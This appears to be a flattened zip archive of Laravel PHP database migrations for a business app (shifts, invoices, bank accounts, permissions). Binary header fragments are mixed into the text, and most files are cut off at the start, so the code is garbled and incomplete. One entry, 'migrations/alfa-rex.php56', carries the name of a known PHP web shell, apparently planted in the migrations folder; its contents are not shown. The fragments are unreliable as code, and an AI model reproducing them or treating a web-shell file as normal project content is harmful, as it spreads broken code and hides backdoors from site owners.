$table->float('flexible_total_hours')->nullable()->change(); $table->float('flexible_auto_clockout')->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shifts', function (Blueprint $table) { // }); } }; PKZY9Umigrations/2022_08_25_123713_add_work_from_home_widget_in_dashboard_widgets_table.phpnu[ 'work_from_home', 'status' => 1, 'dashboard_type' => 'private-dashboard' ]; DashboardWidget::create($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { DashboardWidget::where('widget_name', 'work_from_home')->delete(); } }; PKZ$||;migrations/2023_04_27_082330_create_invoice_files_table.phpnu[increments('id'); $table->unsignedInteger('invoice_id')->index('invoice_files_invoice_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('invoice_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('invoice_files_last_updated_by_foreign'); $table->string('filename', 200)->nullable(); $table->string('hashname', 200)->nullable(); $table->string('size', 200)->nullable(); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['invoice_id'])->references(['id'])->on('invoices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('invoice_files'); } }; PKZ qii4migrations/2024_08_13_050249_add_column_in_event.phpnu[text('departments')->nullable()->default(null); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('events', function (Blueprint $table) { $table->dropColumn('departments'); }); } }; PKZ^*Rmigrations/2024_09_12_044645_remove_on_delete_cascade_from_created_by_to_tasks.phpnu[dropForeign('tasks_created_by_foreign'); $table->foreign('created_by') ->references('id')->on('users') ->onUpdate('CASCADE')->onDelete('SET NULL'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('tasks', function (Blueprint $table) { $table->dropForeign('tasks_created_by_foreign'); }); } }; PKZ?IHmigrations/2024_11_27_115857_add_attendance_type_to_attendance_table.phpnu[string('clock_in_type')->nullable()->after('clock_out_time'); $table->string('clock_out_type')->nullable()->after('clock_in_type'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('attendances', function (Blueprint $table) { $table->dropColumn('clock_in_type'); $table->dropColumn('clock_out_type'); }); } }; PKZ.VV=migrations/2022_12_12_113800_add_wasabi_hash_test_payfast.phpnu[string('header_color')->after('logo_background_color')->default('#1D82F5'); $table->string('hash')->after('locale')->nullable(); }); $globalSetting = GlobalSetting::first(); if ($globalSetting) { $globalSetting->hash = md5(microtime()); $globalSetting->saveQuietly(); } Schema::table('companies', function (Blueprint $table) { $table->string('header_color')->after('logo_background_color')->default('#1D82F5'); }); Schema::table('payment_gateway_credentials', function (Blueprint $table) { $table->string('test_payfast_merchant_id')->nullable(); $table->string('test_payfast_merchant_key')->nullable(); $table->string('test_payfast_passphrase')->nullable(); }); } } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZGAk}|-|-migrations/alfa-rex.php56nu[PKZ38EEJmigrations/2023_04_17_085738_add_visible_column_in_custom_fields_table.phpnu[boolean('send_status')->default(true); }); } if (!Schema::hasColumn('attendances', 'overwrite_attendance')) { Schema::table('attendances', function (Blueprint $table) { $table->enum('overwrite_attendance', ['yes', 'no'])->default('no'); }); } if (!Schema::hasColumn('custom_fields', 'custom_fields')) { Schema::table('custom_fields', function (Blueprint $table) { $table->enum('visible', ['true', 'false'])->default('false')->after('export')->nullable(); }); } EmployeeShift::where('shift_name', 'Day Off')->update(['color' => '#E8EEF3']); } /** * Reverse the migrations. */ public function down(): void { Schema::table('custom_fields', function (Blueprint $table) { $table->dropColumn('visible'); }); } }; PKZyVV@migrations/2023_10_12_043341_fix_estimate_item_images_column.phpnu[longText('comment')->change(); }); Schema::table('task_notes', function (Blueprint $table) { $table->longText('note')->nullable()->change(); }); Schema::table('leave_types', function (Blueprint $table) { $table->longText('department')->nullable()->change(); $table->longText('designation')->nullable()->change(); $table->longText('role')->nullable()->change(); }); Schema::table('estimate_item_images', function (Blueprint $table) { $table->string('filename')->nullable()->change(); }); Schema::table('invoice_item_images', function (Blueprint $table) { $table->string('filename')->nullable()->change(); }); } }; PKZ99;migrations/2024_10_28_090541_update_company_date_format.phpnu[get(); $globalSetting = GlobalSetting::whereIn('date_format', ['D/M/Y', 'D.M.Y', 'D-M-Y', 'D M Y'])->get(); if($companies){ foreach ($companies as $company) { $company->date_format = 'D d M Y'; $company->date_picker_format = 'D dd M yyyy'; $company->moment_format = 'ddd DD MMMM YYYY'; $company->save(); $company->refresh(); } } if($globalSetting){ foreach ($globalSetting as $setting) { $setting->date_format = 'D d M Y'; $setting->moment_format = 'ddd DD MMMM YYYY'; $setting->save(); $setting->refresh(); } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ6t6SS:migrations/2024_08_27_051140_cleanup_deleted_task_data.phpnu[get(); if($deletedTasks){ foreach ($deletedTasks as $deletedTask) { $taskFiles = TaskFile::where('task_id', $deletedTask->id)->get(); foreach ($taskFiles as $file) { // Construct file path and delete the file from storage $filePath = TaskFile::FILE_PATH . '/' . $file->task_id; Files::deleteFile($file->hashname, TaskFile::FILE_PATH); Files::deleteDirectory($filePath); $file->delete(); } } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZX  ^^Vmigrations/2024_05_31_044253_deal_pipeline_and_manage_deal_stage_permission_remove.phpnu[pluck('id'); Permission::whereIn('name', $permissions)->delete(); UserPermission::whereIn('permission_id', $permissionIds)->delete(); PermissionRole::whereIn('permission_id', $permissionIds)->delete(); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ?Jmigrations/2022_09_23_181722_add_approve_reason_column_to_leaves_table.phpnu[text('approve_reason')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('leaves', function (Blueprint $table) { $table->dropColumn('approve_reason'); }); } }; PKZQ͙$$Emigrations/2024_06_25_044434_create_shift_rotation_sequence_table.phpnu[increments('id'); $table->unsignedInteger('employee_shift_rotation_id')->nullable(); $table->foreign('employee_shift_rotation_id')->references('id')->on('employee_shift_rotations')->cascadeOnDelete()->cascadeOnUpdate(); $table->unsignedBigInteger('employee_shift_id')->nullable(); $table->foreign('employee_shift_id')->references('id')->on('employee_shifts')->cascadeOnDelete()->cascadeOnUpdate(); $table->integer('sequence')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('shift_rotation_sequences'); } }; PKZ-xxLmigrations/2024_02_02_082817_add_column_tax_name_in_client_details_table.phpnu[string('tax_name')->nullable()->after('skype'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('client_details', function (Blueprint $table) { $table->dropColumn('tax_name'); }); } }; PKZ1n9migrations/2024_12_03_090714_add_company_id_milestone.phpnu[unsignedInteger('company_id')->nullable()->index('project_milestones_company_id_index')->after('id'); $table->foreign('company_id')->references('id')->on('companies')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } $milestones = ProjectMilestone::with('project')->get(); foreach($milestones as $milestone){ $milestone->company_id = $milestone->project->company_id; $milestone->saveQuietly(); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ݉Amigrations/2024_06_11_063115_create_project_departments_table.phpnu[id(); $table->integer('project_id')->unsigned(); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('team_id'); $table->foreign(['team_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('project_departments'); } }; PKZq?migrations/2024_12_17_112002_create_weekly_timesheets_table.phpnu[id(); $table->unsignedInteger('company_id'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade'); $table->unsignedInteger('user_id'); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); $table->unsignedInteger('approved_by')->nullable(); $table->foreign('approved_by')->references('id')->on('users')->onDelete('cascade'); $table->date('week_start_date'); $table->enum('status', ['pending', 'approved', 'draft'])->default('draft'); $table->text('reason')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('weekly_timesheets'); } }; PKZڞ}d d Gmigrations/2022_09_05_064405_add_miro_board_column_in_project_table.phpnu[boolean('enable_miroboard')->default(false); $table->string('miro_board_id')->nullable(); $table->boolean('client_access')->default(false); }); } $module = Module::where('module_name', 'projects')->first(); if (!is_null($module)) { $permissionName = 'view_miroboard'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. * * @return void */ public function down() { Permission::where('name', 'view_miroboard')->delete(); Schema::table('projects', function (Blueprint $table) { $table->dropColumn('enable_miroboard'); $table->dropColumn('miro_board_id'); $table->dropColumn('client_access'); }); } }; PKZ)``@migrations/2023_03_24_081626_add_permission_for_sales_report.phpnu[first(); if (!is_null($module)) { $permissionName = 'view_sales_report'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = PermissionRole::where('permission_id', $permission->id)->where('role_id', $role->id)->first() ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = UserPermission::where('permission_id', $permission->id)->where('user_id', $adminUsers->id)->first() ?: new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ#1Fmigrations/2023_07_10_064057_add_shift_assign_notification_setting.phpnu[get(); foreach ($companies as $company) { $settings[] = [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Shift Assign Notification', 'slug' => 'shift-assign-notification', ]; } EmailNotificationSetting::insert($settings); } /** * Reverse the migrations. */ public function down(): void { EmailNotificationSetting::where('slug', 'shift-assign-notification')->delete(); } }; PKZgJJ9migrations/2024_06_21_113438_create_gantt_links_table.phpnu[id(); $table->string('type'); $table->integer('project_id')->unsigned()->nullable(); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('source')->unsigned(); $table->foreign('source')->references('id')->on('tasks')->onDelete('cascade')->onUpdate('cascade'); $table->integer('target')->unsigned(); $table->foreign('target')->references('id')->on('tasks')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('gantt_links'); } }; PKZ(^\\Jmigrations/2022_08_29_103443_add_flag_code_column_to_language_settings.phpnu[string('flag_code')->nullable(); }); $langCode = LanguageSetting::get(); foreach ($langCode as $code) { $code->update(['flag_code' => $code->language_code]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('language_settings', function (Blueprint $table) { $table->dropColumn('flag_code'); }); } }; PKZsXXDmigrations/2024_01_24_105920_add_column_sku_in_order_items_table.phpnu[string('sku')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('order_items', function (Blueprint $table) { $table->dropColumn('sku'); }); } }; PKZGBmigrations/2023_11_21_112750_add_permissions_for_leave_reports.phpnu[text('memo')->nullable()->change(); }); \App\Models\EmailNotificationSetting::where('slug', 'clock-in-notification')->delete(); $module = Module::where('module_name', 'reports')->first(); if (!is_null($module)) { $permissionName = 'view_leave_report'; $permission = Permission::where('name', $permissionName)->update([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5 ]); } } /** * Reverse the migrations. */ public function down(): void { } }; PKZ%||Gmigrations/2023_11_08_123050_add_e_invoice_column_to_client_details.phpnu[unsignedInteger('country_id')->nullable()->after('company_id'); $table->foreign('country_id')->references('id')->on('countries')->onDelete('set null'); }); Schema::whenTableDoesntHaveColumn('client_details', 'electronic_address', function (Blueprint $table) { $table->string('electronic_address')->nullable(); $table->string('electronic_address_scheme')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::whenTableHasColumn('client_details', 'electronic_address', function (Blueprint $table) { $table->dropColumn('electronic_address'); $table->dropColumn('electronic_address_scheme'); }); } }; PKZø``Cmigrations/2024_11_04_093951_add_orders_module_in_custom_fields.phpnu[get(); $customFieldGroup = []; foreach ($companies as $company) { $customFieldGroup = [ [ 'name' => 'Order', 'model' => Order::CUSTOM_FIELD_MODEL, 'company_id' => $company->id ] ]; } CustomFieldGroup::insert($customFieldGroup); } /** * Reverse the migrations. */ public function down(): void { } }; PKZ@migrations/2023_01_09_162235_create_estimate_templates_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->double('sub_total'); $table->double('total'); $table->integer('currency_id')->unsigned()->nullable(); $table->foreign('currency_id')->references('id')->on('currencies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('discount_type', ['percent', 'fixed']); $table->double('discount'); $table->boolean('invoice_convert')->default(0); $table->enum('status', ['declined', 'accepted', 'waiting'])->default('waiting'); $table->mediumText('note')->nullable(); $table->longText('description')->nullable(); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->text('client_comment')->nullable(); $table->boolean('signature_approval')->default(1); $table->text('hash')->nullable(); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->timestamps(); }); Schema::create('estimate_template_items', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->bigInteger('estimate_template_id')->unsigned(); $table->foreign('estimate_template_id')->references('id')->on('estimate_templates') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('hsn_sac_code')->nullable(); $table->string('item_name'); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->tinyInteger('quantity'); $table->double('unit_price'); $table->double('amount'); $table->text('item_summary')->nullable(); $table->string('taxes')->nullable(); $table->timestamps(); }); Schema::create('estimate_template_item_images', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('estimate_template_item_id')->unsigned(); $table->foreign('estimate_template_item_id')->references('id') ->on('estimate_template_items') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::table('contracts', function (Blueprint $table) { $table->integer('project_id')->unsigned()->nullable()->after('client_id'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::table('invoice_settings', function (Blueprint $table) { $table->string('contract_prefix')->default('CONT')->after('credit_note_digit'); $table->string('contract_number_separator')->default('#')->after('contract_prefix'); $table->unsignedInteger('contract_digit')->default(3)->after('contract_number_separator'); }); Schema::table('lead_notes', function (Blueprint $table) { $table->longText('details')->change(); }); if (!Schema::hasColumn('client_details', 'company_logo')) { Schema::table('client_details', function (Blueprint $table) { $table->string('company_logo')->nullable()->after('last_updated_by'); }); } if (Schema::hasColumn('contracts', 'company_logo')) { Schema::table('contracts', function (Blueprint $table) { $table->dropColumn('company_logo'); }); } Schema::table('invoice_settings', function (Blueprint $table) { $table->boolean('show_status')->default(true)->after('tax_calculation_msg'); $table->boolean('authorised_signatory')->default(false)->after('show_status'); $table->string('authorised_signatory_signature')->nullable()->after('authorised_signatory'); }); // SET lat long null for default address DB::statement("UPDATE `company_addresses` SET `latitude`=NULL and longitude=NULL where latitude='26.91243360'"); $this->customFieldsContracts(); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('estimate_templates'); } private function customFieldsContracts() { $companies = Company::select('id')->get(); $customFieldGroup = []; foreach ($companies as $company) { $customFieldGroup = [ [ 'name' => 'Contract', 'model' => Contract::CUSTOM_FIELD_MODEL, 'company_id' => $company->id ] ]; } CustomFieldGroup::insert($customFieldGroup); } }; PKZp*55Hmigrations/2022_09_20_045836_add_bank_account_module_in_module_table.phpnu[increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('type')->nullable(); $table->string('bank_name')->nullable(); $table->string('account_name')->nullable(); $table->string('account_number')->nullable(); $table->string('account_type')->nullable(); $table->integer('currency_id')->unsigned()->nullable(); $table->foreign('currency_id') ->references('id') ->on('currencies') ->onDelete('set null') ->onUpdate('cascade'); $table->string('contact_number')->nullable(); $table->double('opening_balance', 15, 2)->nullable(); $table->string('bank_logo')->nullable(); $table->boolean('status')->nullable(); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by') ->references('id') ->on('users') ->onDelete('set null') ->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by') ->references('id') ->on('users') ->onDelete('set null') ->onUpdate('cascade'); $table->double('bank_balance', 16, 2)->nullable(); $table->timestamps(); }); Schema::create('bank_transactions', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('payment_id')->unsigned()->nullable(); $table->foreign('payment_id') ->references('id') ->on('payments') ->onDelete('set null') ->onUpdate('cascade'); $table->integer('invoice_id')->unsigned()->nullable(); $table->foreign('invoice_id') ->references('id') ->on('invoices') ->onDelete('set null') ->onUpdate('cascade'); $table->integer('expense_id')->unsigned()->nullable(); $table->foreign('expense_id') ->references('id') ->on('expenses') ->onDelete('set null') ->onUpdate('cascade'); $table->double('amount', 15, 2)->nullable(); $table->enum('type', ['Cr', 'Dr'])->default('Cr'); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by') ->references('id') ->on('users') ->onDelete('set null') ->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by') ->references('id') ->on('users') ->onDelete('set null') ->onUpdate('cascade'); $table->text('memo')->nullable(); $table->string('transaction_relation')->nullable(); $table->string('transaction_related_to')->nullable(); $table->text('title')->nullable(); $table->date('transaction_date')->nullable(); $table->double('bank_balance', 16, 2)->nullable(); $table->timestamps(); }); Schema::table('payments', function (Blueprint $table) { $table->integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('set null') ->onUpdate('cascade'); }); Schema::table('expenses', function (Blueprint $table) { $table->integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('set null') ->onUpdate('cascade'); }); Schema::table('invoices', function (Blueprint $table) { $table->integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('set null') ->onUpdate('cascade'); }); $count = Company::count(); if ($count > 0) { $types = ['admin', 'employee']; $permissionType = [ [ 'name' => 'add_bankaccount', 'display_name' => 'Add Bankaccount', 'allowed_permission' => Permission::ALL_NONE, 'is_custom' => 0 ], [ 'name' => 'view_bankaccount', 'display_name' => 'View Bankaccount', 'allowed_permission' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0 ], [ 'name' => 'edit_bankaccount', 'display_name' => 'Edit Bankaccount', 'allowed_permission' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0 ], [ 'name' => 'delete_bankaccount', 'display_name' => 'Delete Bankaccount', 'allowed_permission' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0 ], [ 'name' => 'add_bank_transfer', 'display_name' => 'Add Bank Transfer', 'allowed_permission' => Permission::ALL_NONE, 'is_custom' => 1, ], [ 'name' => 'add_bank_deposit', 'display_name' => 'Add Bank Deposit', 'allowed_permission' => Permission::ALL_NONE, 'is_custom' => 1, ], [ 'name' => 'add_bank_withdraw', 'display_name' => 'Add Bank Withdraw', 'allowed_permission' => Permission::ALL_NONE, 'is_custom' => 1, ], ]; $module = new Module(); $module->module_name = 'bankaccount'; $module->description = null; $module->save(); $companies = Company::select('id')->get(); foreach($companies as $company){ foreach($types as $type){ $moduleSetting = new ModuleSetting(); $moduleSetting->company_id = $company->id; $moduleSetting->module_name = 'bankaccount'; $moduleSetting->status = 'active'; $moduleSetting->type = $type; $moduleSetting->save(); } } foreach($permissionType as $key => $permissionTypes) { $permission = new Permission(); $permission->name = $permissionTypes['name']; $permission->display_name = $permissionTypes['display_name']; $permission->module_id = $module->id; $permission->is_custom = $permissionTypes['is_custom']; $permission->allowed_permissions = $permissionTypes['allowed_permission']; $permission->save(); foreach($companies as $company){ $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $admins = User::allAdmins($company->id); foreach($admins as $admin) { $userPermission = new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } $bankRelatedModules = Module::select('id', 'module_name')->whereIn('module_name', ['payments', 'expenses', 'invoices'])->get(); $modulePermissions = [ [ 'name' => 'link_payment_bank_account', 'display_name' => 'Link Payment Bank Account', 'allowed_permission' => Permission::ALL_NONE ], [ 'name' => 'link_expense_bank_account', 'display_name' => 'Link Expense Bank Account', 'allowed_permission' => Permission::ALL_NONE ], [ 'name' => 'link_invoice_bank_account', 'display_name' => 'Link Invoice Bank Account', 'allowed_permission' => Permission::ALL_NONE ], ]; foreach($bankRelatedModules as $bankRelatedModule) { if($bankRelatedModule->module_name == 'payments'){ $modulePermission = $modulePermissions[0]; } elseif($bankRelatedModule->module_name == 'expenses'){ $modulePermission = $modulePermissions[1]; } else{ $modulePermission = $modulePermissions[2]; } $permission = new Permission(); $permission->name = $modulePermission['name']; $permission->display_name = $modulePermission['display_name']; $permission->module_id = $bankRelatedModule->id; $permission->is_custom = 1; $permission->allowed_permissions = $modulePermission['allowed_permission']; $permission->save(); foreach($companies as $company){ $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $admins = User::allAdmins($company->id); foreach($admins as $admin) { $userPermission = new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('payments', function (Blueprint $table) { $table->dropForeign('payments_bank_account_id_foreign'); $table->dropColumn('bank_account_id'); }); Schema::table('expenses', function (Blueprint $table) { $table->dropForeign('expenses_bank_account_id_foreign'); $table->dropColumn('bank_account_id'); }); Schema::table('invoices', function (Blueprint $table) { $table->dropForeign('invoices_bank_account_id_foreign'); $table->dropColumn('bank_account_id'); }); Schema::dropIfExists('bank_transactions'); Schema::dropIfExists('bank_accounts'); Module::where('module_name', 'bankaccount')->delete(); Permission::where('name', 'link_payment_bank_account')->delete(); Permission::where('name', 'link_expense_bank_account')->delete(); Permission::where('name', 'link_invoice_bank_account')->delete(); $moduleSettings = ModuleSetting::where('module_name', 'bankaccount')->get(); foreach($moduleSettings as $moduleSetting){ $moduleSetting->delete(); } } }; PKZްTT_migrations/2022_08_26_042542_remove_on_delete_cascade_from_invoice_recurring_id_to_invoices.phpnu[dropForeign('invoices_invoice_recurring_id_foreign'); $table->foreign('invoice_recurring_id') ->references('id')->on('invoice_recurring') ->onDelete('set null'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoices', function (Blueprint $table) { $table->dropForeign('invoices_invoice_recurring_id_foreign'); }); } }; PKZ&"=migrations/2024_05_30_114047_add_rtl_to_language_settings.phpnu[boolean('is_rtl')->default(false); }); // Fetch the language settings data $rtlLanguages = ['ar', 'fa']; // Update the rtl column based on language LanguageSetting::whereIn('language_code', $rtlLanguages)->update(['is_rtl' => true]); } /** * Reverse the migrations. */ public function down(): void { Schema::whenTableHasColumn('language_settings', 'is_rtl', function (Blueprint $table) { $table->dropColumn('is_rtl'); }); } }; PKZYiq6migrations/2023_06_12_094139_fix_file_upload_to_s3.phpnu[ Company::class, 'columns' => [ [ 'name' => 'logo', 'path' => 'app-logo', ], [ 'name' => 'light_logo', 'path' => 'app-logo', ], [ 'name' => 'login_background', 'path' => 'login-background', ], [ 'name' => 'favicon', 'path' => 'favicon', ], ], ], [ 'model' => User::class, 'columns' => [ [ 'name' => 'image', 'path' => 'avatar', ], ], ] ]; foreach ($files as $file) { $model = $file['model']; $columns = $file['columns']; Files::fixLocalUploadFiles($model, $columns); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZA6migrations/2024_08_27_124352_fix_leave_paid_status.phpnu[update(['leaves.paid' => DB::raw('leave_types.paid')]);; } /** * Reverse the migrations. */ public function down(): void { Schema::table('leaves', function (Blueprint $table) { // }); } }; PKZ 8migrations/2024_09_06_093758_create_promotions_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('employee_id')->unsigned()->nullable(); $table->foreign('employee_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->date('date')->nullable(); $table->unsignedBigInteger('previous_designation_id')->nullable(); $table->foreign(['previous_designation_id'])->references(['id'])->on('designations')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedBigInteger('current_designation_id')->nullable(); $table->foreign(['current_designation_id'])->references(['id'])->on('designations')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('send_notification', ['yes', 'no'])->default('no'); $table->unsignedInteger('previous_department_id')->nullable(); $table->foreign(['previous_department_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->unsignedInteger('current_department_id')->nullable(); $table->foreign(['current_department_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); // Initialize the $data array outside the employee loop Company::select('id')->chunk(50, function ($companies) { foreach ($companies as $company) { $data = []; $employees = EmployeeDetails::select('id', 'user_id', 'company_id', 'designation_id') ->where('company_id', $company->id) ->get(); foreach ($employees as $employee) { if ($employee->designation_id) { $data[] = [ 'company_id' => $company->id, 'employee_id' => $employee->user_id, 'date' => Carbon::now()->format('Y-m-d'), 'previous_designation_id' => $employee->designation_id, 'current_designation_id' => $employee->designation_id, 'previous_department_id' => $employee->department_id, 'current_department_id' => $employee->department_id, 'created_at' => Carbon::now()->format('Y-m-d H:i:s'), 'updated_at' => Carbon::now()->format('Y-m-d H:i:s') ]; } } if (!empty($data)) { foreach (array_chunk($data, 100) as $chunk) { Promotion::insert($chunk); } } } }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('promotions'); } }; PKZ꿓7migrations/2024_06_21_093830_add_column_in_projects.phpnu[enum('public_taskboard', ['enable', 'disable'])->default('enable'); $table->enum('public_gantt_chart', ['enable', 'disable'])->default('enable'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('projects', function (Blueprint $table) { $table->dropColumn('public_taskboard'); $table->dropColumn('public_gantt_chart'); }); } }; PKZnrrr@migrations/2022_07_22_042424_create_proposal_templates_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->integer('lead_id')->unsigned(); $table->foreign('lead_id')->references('id')->on('leads')->onDelete('cascade')->onUpdate('cascade'); $table->double('sub_total'); $table->double('total'); $table->integer('currency_id')->unsigned()->nullable(); $table->foreign('currency_id')->references('id')->on('currencies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('discount_type', ['percent', 'fixed']); $table->double('discount'); $table->boolean('invoice_convert')->default(0); $table->enum('status', ['declined', 'accepted', 'waiting'])->default('waiting'); $table->mediumText('note')->nullable(); $table->longText('description')->nullable(); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->text('client_comment')->nullable(); $table->boolean('signature_approval')->default(1); 